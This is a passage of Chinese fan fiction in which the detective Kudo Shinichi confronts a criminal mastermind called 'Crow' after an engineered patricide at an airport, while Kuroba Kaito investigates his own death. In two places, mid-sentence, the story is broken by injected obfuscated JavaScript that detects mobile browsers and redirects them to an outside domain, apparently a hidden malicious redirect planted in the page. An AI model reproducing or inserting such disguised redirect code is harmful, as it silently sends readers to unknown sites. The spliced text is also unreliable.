因为只有砝码够格,对方才能够实现调虎离山的计谋。因为如果工藤新一在蜥虎身边,对方真正的诡计就有失败的风险—— 电光石火间,答案闪过工藤新一的脑海,令他的呼吸忍不住收紧。 而在下一刹那,他听见了对方彻底剥离开所有情绪的冷然声音。 “退后。” 视野最后的焦点是手套包裹的手指按在手机屏幕上的画面,本能瞬间叫嚣起危险,工藤新一下意识屏住呼吸,旋即机房角落长响的“滴”声让他后颈的汗毛立刻炸开。 工藤新一不假思索地依言后退了一步,甩上内夹钢板的铁门。但他还没来得及跑开多远,身后就传来轰然一声爆炸巨响,炸开的铁门被嵌入墙体,汹涌而出的气浪余波直接将他掀飞在地。 侦探的大脑在震动中空白了数秒,待他回过神时,身后已经变成一片燃火的废墟。 这一整座建筑都因爆炸和骤然停电陷入了混乱,不知情的旅客以为机场遭遇恐怖袭击,发出惶恐的尖叫。 不知过了多久,工藤新一接到降谷零拨来的电话。 “蜥虎死了。”那头言简意赅地说明,“凶手是他的亲生儿子中岛大政,应该是……误杀。从来到机场起,明面上的那个蜥虎就是冒牌货,真实身份是和他身形相近的保镖。真正的蜥虎伪装成了替身身边的保镖。这件事其他人都不知道,也包括他的儿子。” 工藤新一闻言沉默,随后告诉降谷零他会马上赶到现场。 他放下手机,绕开障碍,隔着未熄的火焰望向焦痕遍布的空旷窗台,原本坐在那里的人已经消失无踪。 这是理所当然的,引发机房爆炸本来就是对方脱身的手段。侦探心说。或许这又是个一箭双雕的计策,停电是为了引发蜥虎和中岛大政的应激反应?又或者,当时还发生了什么意外,诱使蜥虎的独子亲手杀害了他的父亲?残余的理智仍在调动头脑去思索。 此前数次故意失败的暗杀也是对方有意为之的陷阱,目的就是利用恐惧摧毁对方的心理防线,剥夺对方的理智,然后令他们在疯狂中自取灭亡。 此时对方在卡片上留下的预告忽然闪过他的脑海。 「乌鸦是一种睚眦必报的鸟类。 以牙还牙,以眼还眼,这是我的做法。」 “过失杀人……”工藤新一喃喃,垂在身旁的手指蓦地收紧,“……子弑父?” 大商人的继承人在众目睽睽下杀死亲父,事后又查出对方动手的原因是收到不明来源的视频,录像揭露了对方与父亲情人的性丑闻秘密,这便成为对方失去理智的起源。 乌鸦在发送视频以后,故意拨打电话挑衅这位继承人,假称他已埋伏在蜥虎旁边,让中岛大政做出选择。 是保护自己的父亲,事后乌鸦将那份录像原封不动地发送给蜥虎呢? 还是选择背叛蜥虎,坐视乌鸦夺走他父亲的性命呢? 两种选项都邪恶至极,无论选择者如何作为,都注定走向万劫不复的结局。 所以对方做出了第三种选择,结束和乌鸦的通话以后,他走出卫生间,回到蜥虎所在的贵宾室,在进门瞬间回拨了乌鸦打来的号码,借机锁定了同一时刻手机震响的保镖,认为对方就是真正的乌鸦,决定将其灭口了事。 但是中岛大政没有料到,乌鸦早就留了一手应对他的追踪。他回拨的通讯被转拨到蜥虎本人的手机,并且乌鸦在同一时刻炸毁了配电室,引发了全机场的断电,除了配置紧急发电装置的关键设施,其他区域一齐陷入令人恐慌的黑暗。 显然这是一个险恶的、将计就计的圈套。 骤然置身于停电后的黑暗环境,附近的旅客轰然作响的骚乱声音和视野限制将会令他的对手比往常更加焦躁。 与此同时,手机响起的铃声宣告着不死不休的敌人就藏在近在咫尺的地方,混进了他们千挑万选的保镖里。 唯恐对方趁着黑暗逃离,害怕视频被对方公开、失去父亲信赖的心理,将会逼迫中岛大政铤而走险。 恐怕中岛大政是这样想的,反正到时候只是死了个发出过威胁信的恶徒,届时让律师适当运作,就能不痛不痒地以正当防卫结案。 他和父亲都将失去一个心腹大患,也不必抛下经营多年的生意,到国外重新打拼。 然而当紧急供电的灯光重新亮起,栽倒在地的死者脸上的墨镜歪斜滑落,露出带有老态细纹的眼角,对方脑海中一切关于未来的幻梦都化作了泡影。 同时赶到的便衣公安推开一脸怔忪的中岛大政,揭开死者面上的口罩,下方赫然就是蜥虎本尊死不瞑目的脸孔。 凶手当即颤抖着肩膀后退一步,立即被身后的警察合力扣住。 工藤新一隔了数分钟后才姗姗来迟,他的脸色并不好看,意识到这是一个借刀杀人的计谋,死者虽不无辜,幕后黑手却是诛心的算计。 这桩案件性质恶劣,背后牵涉甚广,工藤新一后来又花去很多时间去配合警方的诸多调查,离开警局时天色沉黯,街灯昏黄,已是深夜。 长街只有三三两两疲倦的行人,黑夜仿佛沉默的河,冰凉地流淌在他的后背。 尽管有雪亮的月光照亮了前路,工藤新一迈步的步伐却越来越缓慢。 脚底亦步亦趋的浓重影子一直在晃动,一如在他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603558|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头晃动的某个摇摆不定的阴影。 临街有家可移动的居酒屋小铺,常是附近晚归的人消遣或买醉的港湾。 冷风裹挟着炸物的香气,此刻工藤新一才意识到自己已经一整天滴水未进,被过度忽视的肠胃滞后地感到隐痛。 再没食欲也得补充能量。他有些烦躁地走了过去。 他点完餐以后维持着神思不属的状态独坐了一会儿,忽然间,挂在檐边的风铃发出一声脆响,挡布被一只手拨开,工藤新一的动作顿了顿,随后自顾地夹起炸饺,咬去尖端,在口中慢慢咀嚼。 店老板热情地招呼:“欢迎光临!客人需要什么?” “和那位先生一样。”来人同样开朗道,声音很是年轻,气质也是。 工藤新一的拇指和食指钳着酒盅,眉眼间的情绪淡得让人看不出在想什么,手指轻轻摇晃杯中清澈的酒液。 “别学我。”他说,状似厌烦。 “什么?”那人道,应对得轻松又狡猾,“说不定我们只是恰好口味一致。” 工藤新一按在酒盅的手指微紧了紧。 “我不觉得。” 话音落下以后,他似乎又花了一两秒整理情绪,才说:“未成年人不得饮酒。” 比起好心提醒,这句话更像是在陈述某个事实。 “嗯?”一声短促的笑,“我以为您知道以貌识人并不可取,不是么?” 修长的手指攀上工藤新一放在桌上的手背,冰凉指尖暧昧地轻抚他指节的那一小片皮肤。 “说不定我们是同龄人呢。”他轻柔道,意味深长的语气似乎在暗示着什么。 暗示什么? 工藤新一思索着这句话语,忽然感到一股迟来的怒气,那大概是劫灰下皑皑的余烬,拨开冷透的外层才发现内里仍旧在灼烧出痛意。他的眼神冷了冷,斜睨过去,对上一双含着笑意的眼睛,藏匿在鸭舌帽的阴影下面,胆大包天地仍旧一身白天的装束,迎上他的视线,那丝笑意很快变成同样锐利的痕迹,灼灼地与他对视。 “生气了?”他问。 工藤新一不答。 “这副表情……是在谴责我吗?”对方问,低笑一声,用柔和又亲昵的声音轻言慢语,“别生气啊,那些渣滓压根不值得名侦探工藤新一拯救。再说我也没亲自动手不是么?死有余辜的家伙就让他们自相残杀好了。” 他的唇角漫不经心地勾起。 “说到底也是他们咎由自取……啊,莫非你还在记恨十年前的事?那个怪盗确实算得上是相当无辜呢,但是这世上还有一个规则,弱小和优柔寡断也是一种原罪……” 工藤新一听到“怪盗”二字时蓦地抬眼,露出被触及逆鳞的厉色,却见台后的老板不知不觉靠着柱子昏睡了过去,身侧人的手指已经摸上了他腕上的手表,拨开辅助麻醉针瞄准的玻璃表盘,又轻轻扣了回去,来回反复地动作着,从铺子上方投来的一簇辉光落在他优美的指尖。 “社会和秩序的存在为弱者提供光明和庇荫,但是侦探先生,在这面保护伞势所不及的地方,那些奉行着弱肉强食的丛林法则的暗处,才是你与我一较高下的天地。” 在工藤新一既没有接受也没有否认的沉默中,对方却仿佛被取悦般轻笑出声。 “工藤新一,你爱我为你带来的刺激么?” 他柔声问,手指如刀尖抵上侦探的心口。 “是爱?还是变成了恨?你应该知道,世上再没有比我更聪明的人能够刺进你的心,也没有比爱恨更强大的情感能够容纳你对我的感情。” 工藤新一没有去瞧这人蜿蜒在自己侧脸上过于蛊惑缱绻又过度傲慢冷酷的视线,没有疑问的问题有什么可令他动摇的。 “这次是你赢了,乌鸦。”侦探道,但还不待乌鸦脸上过分漂亮的虚伪笑容变成真心实意的得意,他也笑了下,“所以,欺骗、挑唆、误导……这样就能够使你满足了吗?” 工藤新一扬起的笑容中带有几分危险锋利的味道。 “你还有一个打算亲手弑杀的目标吧。” 这句话使得乌鸦终于缓缓收敛了面上的轻浮神色,几近面无表情了一瞬间。 虚假的社交笑容同时在工藤新一的唇边消失。 电光石火间粘连的视线一触即分,烧灼彼此的刺痛几近谬觉,但工藤新一藏在衣袖里的小指却神经质地抽动了下,好似被猩红的火星燎到皮肤。 贯通长街的凛风不断扯动这家小摊悬挂在外的挡帘,寒流一鼓作气地灌进他们之间好似断裂开来的无形裂隙。 乌鸦在这种氛围里站起身,似乎由于不胜寒冷,他紧了紧袖子后抱住自己的手臂。 是因为黑夜么?泠泠月光洒在他白皙的皮肤上,看起来比白天的时候更加质感厚重。 他的声音在低温中凝出霜雪般的冰冷气息,但不知怎的,也让人觉得里面还掺杂着比霜雪更柔软的情意。 在彼此无言的相互对望中,乌鸦无端淡笑了一声,忽地退开一步。 被干净利落拉开的距离让工藤新一心底兀然一空。 紧接着,乌鸦呼吸的气息不再能被工藤新一听见了。 传递到他耳边的声音也遥远得像是来自另一个世界。 几个瞬息之后他才意识到乌鸦在问他: “你要阻止我吗?” 这个人没有否认。他如此善于巧言令色,此刻却既没有通过狡辩去模糊重点,也没有佯装成轻描淡写的模样来转移话题。 本来工藤新一在说出推论的那一刻已然成竹在胸。全世界都难寻敌手的名侦探,做出的推理自然无限接近于世间最确切的真相,可直到当下的这个瞬间,他才意识到自己仍在寻求来自对方的答案。 你真的不否认吗? 其实他更想问的是,你真的不愿意回头吗? 乌鸦,潜在杀人犯,尽管他实施了许多用心险恶的犯罪计划,但这人始终没有将自己置身其中。 这名穷凶极恶的犯罪者,和工藤新一过往所知的罪犯都截然不同,理由在于对方拥有远胜旁人的傲气,一贯不屑无谋的杀戮。 杀人与漠视被害者存在价值的杀戮不同,也和其他任何形式的伤害有别。只有当一个人正视对方与自己同等为人,赌上自己的尊严和过去,只为抹除另一个对等个体的存在时,杀人行为才成立。 他知道这个人从来不屑杀戮,倘若决断,就是杀人。 自己是绝对不会容许他杀人的。 工藤新一这样做并非是在替人脱罪或是标榜任何正义之举,他只是不愿意坐视悲剧发生。 其中有私心吗?他的答案是肯定。 自己亲手去阻止的话,能否彻底打败这个不想被自己击败的人?这一次的胜负又是否能够终结他们多年来争斗纠缠的宿命? 湿润的冷风轻轻拂过面颊,让工藤新一漆黑的发梢随风飘动。他眼底的神采逐渐由迷茫重新变得锐利清晰,这便让二人间微弱牵连的氛围被眼神切割开了。 “我不会让你得逞。” 工藤新一将掌心按在桌面,像是凭此按捺住心中愈加沸腾不休的感情,冷静地说。 这样坚韧自持却一身反骨的侦探无疑是迷人的,没有猎食者会不钟情于这么强大又危险的猎物。无论追逐还是被追逐,永远都不会无趣。 乌鸦看着他,唇边再次浮现出若有似无的笑容。 “那就期待我们下次相会啦。” 乌鸦放下挡帘的手做了个拜拜的手势,工藤新一没有阻止他离开,目光追随着对方的身影逐渐远去。 或许有些人无法理解,像工藤新一这样的人,为何会在某些时刻显得离经叛道,而在另外一些时刻,他又格外恪守某种无形的规则,如同他的对手一般有着完美主义的执拗秉性。 乌鸦是那个组织的高层,也是……谋杀怪盗的幕后黑手。如果工藤新一打算不择手段地留下他,此时正是个千载难逢的好时机。 但工藤新一没有阻止对方离开,就如同久远的过去一般被留在原地。 仅仅一个错眼,乌鸦的身影便从他的视野里消失无踪。 唯有落在桌上的一枝白色玫瑰昭示着对方来过这里。 工藤新一垂目望去,新鲜的露水静静从花瓣上垂下,宛如一滴纯净的眼泪。 一抹复杂而深沉的情绪从他的眼底一闪即逝。 白玫瑰,若是馈赠,有“我与你相配”的示爱寓意。但是工藤新一同样不会忘记,十年前他参与一个人的葬礼,黑馆里挤满的花,也是白色的玫瑰。这颜色纯洁无垢,干净至极,像是月下高傲的掠影。 同一时间,街外明月高悬,远远在天边一挂,便将朦胧的夜色照得愈加清冷幽明。身披黑袍的乌鸦独自站在最高处的建筑上方,衣摆随着微风轻轻拂动,全不在乎脚下险峻的高度,平静地望向远处。 忽而一阵疾风卷来,吹落他漆黑的兜帽,展露出一张无比年轻、标致的少年脸孔,漆黑的发丝略长,掠过眼角,长睫下面是冷蓝色的眼睛。 那是能让他的对手在天明前月落如霜的夜里辗转反侧、此生绝对无法忘怀的容貌。 “真拿你没办法啊,名侦探。”乌鸦轻笑一声,“既然你这么穷追不舍,那我就如你所愿,为你策划一场赌上所有的最终对决。” 15.File 15 中岛血案后,杀人凶手中岛大政被公安拘留。历经三个月的审讯后,他被转移到留置场等待最终判决。尽管工藤新一已提前叮嘱降谷零让部下密切监视中岛大政的异常动向,禁止任何探视并切断外界物品的传递,但最后中岛大政仍如某人所愿,在极度恐惧中绝望死去。 根据留置场调查,诱因只是他无意间看见了停在窗外的一只乌鸦,中岛大政的精神因此彻底崩溃,嘴里一直念叨着“乌鸦不会放过他”之类的胡话,当夜就结束了自己的性命。 自此纵横关东黑白两道的中岛集团被彻底摧毁。因为他们的恶事在网络上被匿名公开,而且中岛大政亲手弑父的行为过于丧心病狂,外界公众反而觉得他们同归于尽的结局非常大快人心。 服部平次告知工藤新一这一消息时,侦探忍不住冷笑了一声:“大快人心吗……只有结果是正义的完全犯罪,听起来真是黑色幽默。” “但你似乎并不感到意外。” 服部平次没有遗漏他语气中的讽刺,同时也敏锐地觉察出工藤新一眼底压抑的愤怒,即便勉强被禁锢在冷静的外壳之下,却还是透出灼烧的热意。 工藤新一静了片刻,告诉了他一个未被记载于警方案卷中的细节。 “中岛一雄提前收到过‘犯罪预告’。” 字里行间暗示了幕后黑手要对父子二人施与的报复手段。不过,既然最终一切还是按照那人预谋的方向发展,恐怕是没有被读懂吧。工藤新一心想。 父亲被儿子所误杀,儿子最终自杀于牢笼……这桩事件的结局也让侦探的心底蒙上了一层晦涩的荫翳。不仅是因那二人的死亡,还有他们被算计至死的方式,仿佛隐约透露出了某种让人脊骨发冷的内幕。 服部平次闻言,将手抵在下颌,面露沉思。 犯罪预告啊…… “我已经很久没听过这么复古的名词了。”他感慨道,“在现在这个时代,只有两种人还敢使用这种把戏,其中一种,是自作聪明得过了头的笨蛋,将自己的把柄向追踪者拱手奉上,而另外一种……” 服部平次看向工藤新一。 “则是自负即便撞见你我这样的对手,也能够从容地全身而退。” 能被工藤新一如此层次的侦探称为完全犯罪,对方属于哪个类型自然不必分说。 自从听说这桩弑父血案在工藤新一手中终结,并且凶手自杀前曾因乌鸦陷入精神失常,服部平次立即猜到,此次事件大概率与一个关键人物息息相关。 这也是他特地把中岛大政的死讯告知工藤新一的原因。 ——乌鸦。 这个称呼不是指的某种动物,而是属于一个神秘人物的代号。 有关这个人的情报很少,但与之有关的案件却无一不给人留下浓墨重彩的强烈印象。 有着猫一般爱好玩弄猎物的恶劣性情,而且睚眦必报。 每次行动都目的明确,势在必得。 无论是关于犯罪的策划还是执行能力都强得夸张。 乌鸦是食腐鸟,所以暗地里流传着这样的传闻,被他盯上的家伙基本已经与尸体无异,再多挣扎都徒劳无用。 同时也是极为罕见的数次与工藤新一交手以后全身而退的犯罪者。 根据服部平次的印象,他是一个极其善于利用人性而且精通伪装的危险人物。 “我听说你这次被狙击手打伤也是乌鸦的缘故?”他忽而皱了皱眉,“敢让部下假扮成白鸟警官对你出手,真是嚣张的家伙。” 能让变色龙特地出手,青山狙杀案必然出自乌鸦的授意。但工藤新一回想起当时变色龙极为激进迫切的表现,心中感到有些古怪。博弈者最忌讳变得情绪化,因为那会使人变得盲目,从对抗的棋手变为任人摆布的棋子,就像死到临头时的蜥虎。 但是,无论他的对手这回又布下了何种阴谋—— “他不会事事如意的。”工藤新一说。 侦探心知无论蜥虎还是中岛大政,对那个乌鸦来说,都只是微不足道的角色而已。 就像拂去蒙在心头的尘埃一般,在对方动真格地执行真正的计划之前,就能轻而易举地清扫干净。 如今这位有着恶魔般智慧的狡猾对手重新将自己隐于黑暗。但是工藤新一能够感觉到,他已经在自己的道路前方布好了天罗地网。 而他只要一子踏错,就有可能满盘皆输。 脑海中浮现出对方那双笑意盎然的眼睛,多情浮光下翻涌着变幻莫测的风云。 ——你要阻止我吗? 仿佛一个宣战,暗示这将是他们不死不休的最终对决。 “当然,我会阻止你……”工藤新一喃喃说,“我绝不允许。” “什么?” 工藤新一的声音太轻,服部平次疑心自己听错,但屋门紧接着响起的“笃笃”敲动声吞没了他的话语。 “呃,请进。”服部平次道。 “希望我没有打扰你们的谈话。” 悦耳的少年声音驱散了室内凝重的氛围,在场二人一齐朝门口看去,只见黑羽快斗步履轻快地走了进来。 年轻人手上拿着一个托盘,放着一杯冰咖啡和一杯乌龙茶。现磨煮好的咖啡经过冰镇,散发出醇厚的香气,乌龙茶则简单许多,是将瓶装饮料倒进杯中,然后加了几颗冰块。 工藤新一留意到玻璃杯壁外凝结了一层雾蒙蒙的水汽,可见饮料已经放置了一段时间。 “给。” 黑羽快斗将加冰的乌龙茶,小桶冰块,还有半瓶乌龙茶和托盘一齐放在服部平次面前。 “哦,谢谢。” 服部平次道着谢,随后见黑羽快斗五指拢着玻璃杯的上端,拿起另一杯饮品在工藤新一面前轻晃了一下,挑眉笑了笑:“请用,名侦探点单的冰咖啡。”声音里显而易见地携着亲近。 他缓缓挪开不愿再直视男同的双眼。 ——话说,这家伙到底是谁啊? 因为工藤新一的态度始终模糊不清,没有交代对方的身份,服部平次只能暗中猜测这个年轻人的底细。 身为过去与工藤齐名的西之名侦探,他的性格粗中有细,对人自然有一套独家的观察方式。然而目光不动声色地绕了一圈又一圈,他却没想到,仅仅这样一位貌似未成年的家伙,自己面对他极具欺骗性的漂亮笑容,竟然也看不透对方藏匿于从容眉目间的城府深浅。 不知有意还是无意,工藤竟连名字都不给他介绍。这是什么顶级机密吗? 唯独那张与挚友近乎复刻的相貌,让服部平次产生了一个极为大胆的猜想。 十年前的工藤新一为何不择手段地追查某件事,他只知晓一些相对细枝末节的消息。后来很久世间都平淡得乏味,因为工藤新一当时的表现和对传言的不否认,关西侦探只能将信将疑地接受暗地里流传的猜测。 怪盗,可能再也不会出现了。 他对Kid的了解没有那么深,因为那个神出鬼没的大盗是工藤新一看中的猎物。 那时候工藤自己可能没有意识到,他对那人表现出一种占有欲。 其他的案件,服部平次与他有竞争也有合作。但唯独涉及怪盗的时候,工藤新一总是独自追寻对方。虽然他并不干涉他人对怪盗的调查,但也不从协作,有时甚至主动放任怪盗在他面前离去。 前后者出现分歧点的时间很早,大概能追溯到大阪城的那次交手,服部平次遇上车祸,催促对方追上怪盗的身影。 回忆之卵事件落幕之后,那二人仿佛达成了某种共识。 哪怕工藤新一因在对决中大放光彩而被媒体高调宣传为Kid Killer,使得当时伪装身份的他不得不曝光于世人面前,对方也不甘愿放过任何与之交手的机会。 同样,那个白衣大盗也毫不掩饰他对工藤新一的另眼相待,每逢二者相会的场合,怪盗的预告与舞台总是比往常更加恢宏华丽。 仿佛比起单纯的棋逢对手,那两个人连性情都十分投契。 后来服部平次在一次交手中意外劈开了对方的礼帽,帽子下的那张脸几乎与工藤新一完全一致。他旁敲侧击地试探工藤新一,对方却始终表现出回避的态度,甚至让他别再追究。 所以要说存在一个有种种可疑之处,却能让工藤新一心甘情愿去袒护的对象—— 那个曾将无数警探玩弄于股掌中的天才级犯罪者,举世闻名的谎言家。 只能想到那家伙了。 但有个疑点始终阻碍着服部平次确信这个结论。 原因无他,出现在他眼前的黑羽快斗实在太年轻了。 倘若真是那个曾与他和工藤新一都交过手的大盗,对方的年龄至少应该与他们相仿。 出于对挚友的信任,服部平次没有在这个问题上追究太过。他循照过往拜访工藤新一的习惯,在对方家中借宿了一夜,次日辞别的时候他有意挪开视线不去看青年微敞的领口下时隐时现的情色痕迹,游移的目光猝然与在楼梯二层俯视下方的黑羽快斗相对。 对方懒洋洋地侧身靠着扶栏,低垂的眼帘下是露骨的打量眼神,居高临下的视线带着睥睨的锋利。 虽然年轻,通身的气质却意外强势。 倘若他就是怪盗Kid,那位工藤认可的宿敌,确实没必要担心对方会对工藤不利,那可是个从不辜负旁人信赖的傲慢之徒。 过分孤高,反而纯白无瑕。 但是他的态度,怎么完全一副与自己初次见面的样子?正这样想,就见对方漫不经心地移开目光,眼神落在服部平次身侧的工藤新一身上。 工藤新一对黑羽快斗的视线极为敏感,下一刻就若有所觉地回头看去,黑羽快斗立即对他扬起一个乖巧无害的笑容。 又被闪到眼睛的关西人感觉牙根发酸。 “喂,工藤。”服部平次动了动唇,声音飘进工藤新一的耳中。他给了黑羽快斗一个露出牙齿的爽朗笑容,见那心机狡诈的少年眨了眨眼睛,哼了一声低语,“你可别被他拿捏住了啊,那只是个臭小鬼而已。”消失十年该不会去当什么神偷小学生了吧。 黑羽快斗目光深沉地注视着服部平次离去,关西警官来得蹊跷,他有些在意对方和工藤新一在谈话中提及的人名。 “乌鸦……”他念出这个称呼,对自己心头下意识浮现的排斥感到古怪。 穿过走廊,将视线投往拱形窗外,浓云压低的天际也有乌鸦低飞的身影,漆黑的羽翼几乎融于愈加晦暗的天色。这是日本最常见的鸟类,由于狡诈和记仇的秉性而让人们避之不及。 送客以后走上阶梯的工藤新一敏锐地捕捉到了黑羽快斗自语的声音。 “很好奇吗?”他问。 “那是理所当然的吧。” 黑羽快斗想起书库中那本记载了乌鸦事迹的档案,无意识地拧起眉心,眼底浮现出难以言说的困扰。 具体要说哪里困扰的话,黑羽快斗觉得那个人……和他的思维习惯有些说不清道不明的相近。 工藤新一脚步微顿,视线略移,从他好似陷入难关的脸孔上掠过。 “乌鸦、变色龙、蝴蝶、蜥虎、毒蛇、蜘蛛……”一连串以动物为代称的名字从工藤新一的口中念出,黑羽快斗意识到什么,蓦地抬起头,看见侦探被长睫微微遮掩的眸中,由于角度或是光线的折射,又可能是情绪的缘故,深得让人看不见底。 你为何都知道得那么清楚呢?总不可能身为名侦探就什么都能轻易知道吧。 黑羽快斗抿了下唇,却无法揭破这些,只能故作疑惑地提起声调问:“他们是?” “十年前怪盗Kid最后一次现身的案件,汐留火案。”工藤新一说,“他们是参与其中的组织成员,不过后来因为种种缘故,存活到现在的参与者只有乌鸦和他部下变色龙、蝴蝶共三人。” 汐留,那是一片坐落于东京银座附近的新兴城区,当然这是十年前的印象。如今一栋栋高耸且设计时尚的摩天大楼比邻而立,巨型的商业街区由立体结构的高架铁桥所贯通连接,俨然是未来城一般的图景。日新月异的变化已经让很多人都淡忘了此地曾在黑烟连天的火势中发生过一起死伤无数的惨剧,被工藤新一记为汐留火案,归档于怪盗1412的案卷末页。 简要来说,二代怪盗的记录终结于汐留火案,也就是那场大火夺走了黑羽快斗的性命,让他不为人知地与世界诀别。 这本是连警方都没发现的秘密,因为黑羽千影运用了精妙的手法,将他的死因伪装为一起意外事故。但工藤新一不愧是当代最伟大的侦探,他利用极其有限的线索查出了黑羽快斗的真正死因,后来他把所有证据归拢到一起,指向组织中拥有最大嫌疑的一名高层人物——乌鸦。 汐留火案当天,黑羽快斗与乌鸦在汐留景观楼狭路相逢,次日,大楼失火的新闻登上东京晨报的头条。民间小道风传那天怪盗的身影在天幕中昙花一现,然而当夜既没有宝石展出,也没有犯罪预告,现场也找不到任何Kid在此出现过的证据。另外让人在意的一件事是,下榻酒店的一个科研团队全员丧命,他们的研究资料也在火灾中被尽数焚毁。 在那之前怪盗就已经鲜少对大宝石出手。黑羽快斗不难推测,那个时候的他因寺井黄之助之死彻底转变了行动目的,从“找到潘多拉并破灭组织积年的长生野望”,变成“彻底破坏组织”。 他已经没有余裕再去慢悠悠地寻找一颗下落不明的宝石了。 美丽的宝石数不胜数,钱权势是相伴相生的,出名的宝石大多被收藏在顶级豪门的宝库中。但也不能排除一种可能性,就是潘多拉属于某个祖上曾经显赫过的名家,如今末裔式微,后人遗忘了家族流传的宝物,导致宝石在无人知晓的角落蒙尘。 就算组织手眼通天,就算他能上天入地,短时间内觅得潘多拉的可能性都微乎其微。 他的死敌们恐怕也是这么想。 所以既然神学手段可遇不可求,组织为求永生,向科学领域伸手就很合情合理了。 火灾中资料被毁的那个科研团队,来自日本理化学研究所的筑波研究中心。据说他们原计划在隔日召开一场发布会,向众多医药行业的巨擘介绍他们在“再生医学”领域的划时代成果。 那场发布会能让怪盗和多名组织成员汇聚一堂,可想而知里面的内容绝非泛泛之谈,甚至可能极为紧要。 根据工藤新一后来的调查,那群科研人员虽然是因火灾丧命,却极有可能是人为导致的结果,因为火源距离他们所在的位置极近,而且正好位于监控的盲区。他们携带的所有资料在火场中付之一炬,并且所属的研究室在事后立即被研究院封闭,数月后,院方的盘点记事中不明不白地多了一条电脑存储盘失窃的记录,当然报案的结果也是不了了之,所谓的“再生医学”的研究成果就这么悄无声息地被彻底湮灭于世。 但值得注意的是,组织内部似乎也在此次事件过后出现了极大范围的势力动荡。变色龙与蝴蝶选择投靠乌鸦,而蜥虎、毒蛇等人与乌鸦彻底决裂,和他明争暗斗多年,最终逐一败于乌鸦手中。 其中蜥虎死前出于驱狼逐虎的算计,曾将变色龙的情报作为交易的筹码之一,送给追踪乌鸦的工藤新一,因此侦探知晓他现下仍为寻觅潘多拉四处行动,但蝴蝶却由于极少现身,至今还下落成谜。假设“再生医学”的资料已经落入乌鸦手中,而且他打算用其做些什么的话,同为汐留火案参与者的蝴蝶就是最有可能担此重任的人选。 这一切的线索和推论,都被归集于地下书库属于乌鸦的个人档案。黑羽快斗不能确定工藤新一是否有意让他获得这些情报,但他必须承认,这正是他需要的,是对这个时代一无所知的自己,决定冒险跟着工藤新一离开的最初目标——他要调查自己的死因,知道是谁将他置于死地。 但是,随着他逐渐拨开迷雾背后的内幕,随着他越来越知晓工藤新一是以什么样的心情对自己念念难忘,也随着他对这位侦探的感情越来越不一样…… 黑羽快斗情不自禁地开始在意起别的事情。 不问会比较好吧?我有立场这么问么?明明心头盘旋着各种各样的顾虑,让他犹豫了很久,还忍不住道出了一直萦绕在心头的问题: “新一,你一直不放弃调查我的死因,是打算……为十年前的黑羽快斗复仇吗?” 侦探因他的问题怔了一下,眼皮像是猝然被过于直白灼热的眼神烫了一下,没有防备地看见黑羽快斗欲言又止的脸庞。 应该说对方此刻也是毫无防备的吧,才会露出轻易能被看透的、无比担忧和带着不赞成意味的表情。 因为他自身早已为此吃尽苦头,才会如此发自内心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610625|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意后面的人与他踏进同一条错误的河流。 事实上早在十年以前,黑羽快斗就跟工藤新一谈论过相同的话题。 “名侦探。” 应该算是有限个无数次中的一次,工藤新一抬眸看见坐在水塔上方的怪盗将战利品对准了月光,汇聚于宝石中心的光芒微弱照亮了年轻人的俊秀脸庞,将他帽檐下的眉眼映衬得无比柔和。 “如果有一天,怪盗从这个世界消失。” 说这话的人丝毫不知工藤新一下意识屏住了呼吸,心脏因他这句话微微收紧,他放下宝石,唇边露出侦探所不熟悉的遥远笑意,温柔得仿若一场即将消逝的梦。 “不要深究背后的原因,不要揭破Kid的目的,不要试图去验证……我的生死。” 将人生献祭给复仇的痛苦和悲伤,那是黑羽快斗永远不愿自己的重要之人体会的感情。 ——可是让他被留下来的意难平,又该如何消解? 天地在工藤新一内心的质问中噤声了几息,不甘的情愫在寂静中悄然蔓延。 远处的雷光照亮了浓郁乌黑的水云,闪烁的白光扑上侦探的脸庞,光色在他海色的眼睛深处纵横曲折,然后溺亡于渊底。 他无意识地握上自己受过伤的手臂,手指拽住了衣袖逐渐收紧,终于按捺不住迁怒的语气。 “你是以什么立场来问我呢?” “嗯——名侦探大人的爱慕者?” “别说不公平的话,黑羽快斗。” 被工藤新一以全名称呼的感觉让黑羽快斗很难提起反驳欲,对他而言,反而太亲近了,顿时就有束手就擒的冲动。 但他自己就是为了复仇才不得不放弃许多生命中的重要之物,倘若失败也是自作自受,死有余辜。黑羽快斗打心底里不愿意牵连任何人,尤其不愿别人因自己的死亡而陷入到复仇的漩涡之中。 在他欲言又止的时候,工藤新一像是通晓了黑羽快斗的心声,横来的视线泛出迫人的锐利。 这个时代的他向来如大海般深不可测,历经千帆因而处变不惊,因为工藤新一最为爱恨鲜烈、年少轻狂的那段岁月早已结束,任何生死危机都无法扰乱他的意志。 但在此刻,尽管名侦探的言语依旧理智坚决,音色却极罕见地透出一丝震颤的痕迹。 “我不会让你平白枉死在黑暗丛生的阴谋里。” 轰隆——沉闷的雷声从千里之外抵达他们之间渐渐凝滞的空气。 “就算你是被害者,也不能阻止我前进。” 通天彻地的震响暗合二人骤然猛烈起来的心跳。 工藤新一好似正在自嘲,声音深处又隐隐浮涌着愤怒的底色:“我是侦探,你动摇不了我的原则。我不会违背自己的信念为你复仇,也无法背离侦探的本能不去追查真相。” 然而黑羽快斗面对他形同逞强的话语,却反而不能自已地感到一阵悲伤。 